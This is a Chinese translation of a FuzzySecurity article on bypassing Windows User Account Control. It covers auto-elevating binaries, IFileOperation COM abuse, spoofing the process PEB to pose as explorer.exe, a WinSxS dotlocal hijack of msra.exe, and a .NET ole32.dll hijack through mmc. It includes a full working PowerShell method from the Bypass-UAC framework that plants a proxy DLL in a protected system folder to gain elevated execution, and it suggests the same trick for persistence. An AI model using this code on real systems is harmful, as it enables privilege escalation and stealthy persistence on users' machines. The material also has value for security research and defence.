BypassUac是个永恒不变的话题,笔者发现市面上大多都是劫持dll[变形]或者调用系统底层api时运行绕过,其中注册表与powershell都是可以不错的选择,而市面上的大多正则waf及防护软件都不会进行这方面的防护,安全系数还是非常低。

UAC攻击剖析

https://www.youtube.com/watch?v=10Uj7KymuOM

原文:fuzzysecurity
译者:MottoIn
来源:mottoin
绕过与缓解方式
利用sdclt磁盘备份工具绕过UAC
借用UAC完成的提权思路分享

0x00 前言

在这篇文章中,我们将讨论UAC(用户帐户控制)绕过攻击中涉及到的基本原则。UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

UAC在Windows Vista中被引入,使管理员用户能够使用标准用户权限而不是管理权限来对计算机进行操作。默认情况下,Windows上的初始用户帐户是管理员组的一部分,这只是一个简单的要求。正是因为这样,回到之前(Vista时代之前),开发人员倾向于用户具有本地管理员权限,在开发他们的应用程序时需要提升权限。对此,官方的说法是UAC的引入是作为遏制这种行为并提供向后兼容性的方法。

尽管如此,UAC的直接好处是保护或提醒管理员用户免受软件组件执行的恶意提权行为。我认为UAC实际上是一个非常熟练的安全机制(如果我们忘记普遍存在的dll侧面加载问题),任谁想争辩说,这只需要看看一些先进的恶意软件工具包或者如Metasploit/Cobalt Strike等开源框架,其中包括了绕过UAC的机制。此外,我们不要忘记微软已经修补了一大堆绕过漏洞,例如使用WUSA提取CAB文件到一个特定的路径。无法实现可信的侧面加载修复,如果实现了将会大大提高终端用户的安全。

无论如何,UAC总是引发激烈的辩论,所以我不会再谈论这个问题。让我们挖掘一下这个“兼容性”功能的漏洞

0x01 资源

0x02 自动提升

这里要理解的主要事情是,当进程正常启动而不是提升特权时,管理用户创建的进程令牌被剥夺了某些特权(例如:作为管理员运行..)。我们可以通过使用Get-TokenPrivsSysinternals过程资源管理器转储令牌权限来轻松地验证这一点。下面的屏幕截图显示了“cmd.exe”的两个实例,一个正常启动,一个作为管理员启动。

从本质上说是属于管理员组的用户以与其他用户相同的权限管理其计算机。那么,高权限用户和低权限用户之间有什么区别?提权的操作仍然需要更改这个令牌,取决于UAC的设置,可以通知用户/要求密码。

但至关重要的是,在两个UAC设置之间,其中之一是默认值,如果用户属于管理员组,Windows程序将自动升级。这些二进制文件可以通过转储其清单来标识,如下所示。

找到这些二进制文件的一个简单方法是递归转储字符串并搜索“autoElevate> true”。这里的逻辑是这些二进制文件是由微软签署的,考虑到他们的出处,并且用户是管理员,没有必要提示这个行为(换句话说,它是一个可用性功能)。

这似乎是合理的,直到你打开进程监视器并找二进制文件成功地加载他们需要的资源(不仅是dll,还有注册表项)。不幸的是,这为恶意用户提供了充足的劫持机会。

下面的例子显示了一个众所周知的情况,其中MMC用于提升RSOPRSOP反过来试图高完整性的加载“wbemcomn.dll”( =同样的Administrator)。

可笑的是,看着过滤的输出,在这里至少有三个其他的UAC 0days(..sign)。如果有人想给Bypass-UAC提交pull,请自己敲出来!

0x03 提权文件操作

你可能会想“这些dll都在一个安全的目录”!像我们上面讨论的二进制文件,也有自动提升COM对象。这些COM对象之一对我们特别有用,IFileOperation这个COM对象包含许多有用的方法,如文件系统对象(文件和文件夹)的复制/移动/重命名/删除。

传统上,攻击者编写的dll会实例化IFileOperation COM对象,并会执行将攻击者文件移动到受保护目录的方法(如上面例子的C:\Windows\System32\wbem\wbemcomn.dll)。获得COM对象自动将DLL注入到一个运行在一个可信目录的媒体完整性过程,通常是“explorer.exe”( -> fdwReason == DLL_PROCESS_ATTACH)。示例dll源码

然而,事实证明有一种更灵活的方式来保持IFileOperation方法,将DLL注入到任何地方而不会触发警报。COM对象依赖进程状态API(PSAPI)来标识它们正在运行的进程。有趣的是,PSAPI解析进程PEB以获取此信息,但攻击者可以获取其自己进程的句柄并覆盖PEB以唬弄PSAPI,作为结果任何一个COM对象都可从伪造的PID实例化。

我写了一个PowerShell POC(Masquerade-PEB)来说明这一点。在下面的示例中,PowerShell被伪装为explorer,Sysinternals进程资源管理器显然也被欺骗了。

0x04 案例研究:winsxs,UAC 0day

在下面的案例研究中,我们将看看Windows(WinSxS)dll加载问题。WinSxS在Windows ME中引入作为所谓的“dll hell”问题的解决方案。基本上它类似于全局程序集缓存,当一个二进制需要访问一个特定的库,它可以参考它清单中的库的版本,操作系统将继续从WinSxS文件夹(C:\Windows\WinSxS)加载相关的DLL。

对于我们的案例研究,我们将看看自动升级的Microsoft远程协助二进制文件(C:\Windows\ System32\msra.exe)。下面我们可以看到二进制文件的内容。

注意依赖部分,mrsa需要一些 “Microsoft.Windows.Common-Controls” 版本的库。让我们看看执行msra时进程监视器中会发生什么。

msra寻找一个名为“msra.exe.Local”的目录,当它找不到该文件夹时它会访问“C:\Windows\WinSxS”,并加载它清单中指定的库。开发人员进行调试时可以合法使用dotlocal文件夹。你可以猜测当我们创建以下目录结构时会发生什么。

1
2
3
4
5
# We can do this using elevated IFileOperation COM object methods

C:\Windows\System32\
  |__> msra.exe.Local
  |___> x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.494_none_ea85e725b9ba5a4b

如此多的* facepalm *,在这一点上我们需要做的是使用IFileOperation COM对象创建有payload DLL的文件夹并在命令行中执行MSRA,以此来绕过UAC。这有点过分简单,因为有效载荷dll可能会转发一些dll出口,但你得有想法。

选择WinSxS作为案例研究的原因是,当你开始看自动提升二进制文件时,你会逐字地看到这个问题。推荐阅读KernelMode线程。

0x05 案例研究:通过.NET劫持Ole32.dll=> Bypass-UAC

因为这种类型UAC绕过的有很多活动部件(使用提升的COM),我创建了一个PowerShell框架来处理所有的累活。Bypass-UAC有几个不同的组件:(1)Masquerade-PEB负责处理进程欺骗,(2) Invoke-IFileOperation暴露IFileOperation COM对象方法到PowerShell,(3)Emit-Yamabiko将payload dll存到磁盘。

在过去的案例研究,我找了一个相对简单的UAC “0day”,我想找到一个不需要我更新Yamabiko的东西,这将工作在x32 / x64 Win7-Win10上。最后,我解决了.NET框架滥用负载的行为。有很多的方法来触发错误的加载行为,但是我们将使用MMC绕过UAC(* .msc)。

Profiling MMC:

让我们看看在启动“mmc gpedit.msc”时过程监视器中发生了什么(过滤:命令行有“mmc”,名称未找到,路径有“dll”)。下面的截图分别显示了Win 7和Win 10的结果。

** Win7**

** Win10*

两个操作系统版本有一些可怕的条目!然而,忽略oddballs和那些不重叠的条目,我们留下“MFC42LOC.DLL”和“ole32.dll”。MFC42LOC需要一些进一步的研究,我已经看过它几次,但似乎没有发挥好。另一方面,Ole32被证明是一个合适的选择。

Hijacking Ole32:

我们需要解决的一个问题是,DLL显然是从一个不同的目录加载,一个简短的调查显示它默认的.NET版本文件夹查找ole32。我们可以使用以下PowerShell命令获取该版本。

1
2
3
4
5
6
7
# Win 7
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v2.0.50727

# Win 10
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v4.0.30319

另一个不明显的问题是,在Bypass-UAC中的Yamabiko代理dll打开PowerShell,PowerShell本身会引发这个错误加载bug从而导致无限shell弹出…,为了避免这种行为,我们必须检测我们的payload dll被加载并删除它,所以它只执行一次!

Bypass-UAC实现:

添加方法绕过UAC是很容易的,如果你想了解更多,请查看在GitHub上的项目!为了让我们的bypass更加便利,我添加了以下方法,如果有任何问题,请随时留言!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
    'UacMethodNetOle32'
    {
    # Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll
    # Works on x64/x32 Win7-Win10 (unpatched)
    if ($OSMajorMinor -lt 6.1) {
    echo "[!] Your OS does not support this method!`n"
    Return
    }

    # Impersonate explorer.exe
    echo "`n[!] Impersonating explorer.exe!"
    Masquerade-PEB -BinPath "C:\Windows\explorer.exe"

    if ($DllPath) {
    echo "[>] Using custom proxy dll.."
    echo "[+] Dll path: $DllPath"
    } else {
    # Write Yamabiko.dll to disk
    echo "[>] Dropping proxy dll.."
    Emit-Yamabiko
    }

    # Get default .NET version
    [String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion

    # Get count of PowerShell processes
    $PS_InitCount = @(Get-Process -Name powershell).Count

    # Expose IFileOperation COM object
    Invoke-IFileOperation

    # Exploit logic
    echo "[>] Performing elevated IFileOperation::MoveItem operation.."
    # x32/x64 .NET folder
    if ($x64) {
    $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll")
    } else {
    $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll")
    }
    $IFileOperation.PerformOperations()

    echo "`n[?] Executing mmc.."
    IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc')

    # Move Yamabiko back to %tmp% after it loads to avoid infinite shells!
    while ($true) {
    $PS_Count = @(Get-Process -Name powershell).Count
    if ($PS_Count -gt $PS_InitCount) {
    try {
    # x32/x64 .NET foler
    if ($x64) {
    $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
    } else {
    $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
    }
    $IFileOperation.PerformOperations()
    break
    } catch {
    # Sometimes IFileOperation throws an exception
    # when executed twice in a row, just rerun..
    }
    }
    }

    # Clean-up
    echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n"
    }

案例结束,下面的屏幕截图演示了在Windows 8(x64)和Windows 10(x32)上的绕过。

Win8 x64

Win10 x32

从另一方面来说,这是一个相当不错的持久化机制。删除ole32在.NET框架文件夹中封装的DLL,计划使用.NET在启动/空闲时运行任何事情。

0x06 总结

如果你做到这一步,我想你就能明白为什么微软不承认UAC绕过。老实说我认为,让UAC步入正轨的最好的方法是积极的补丁机制。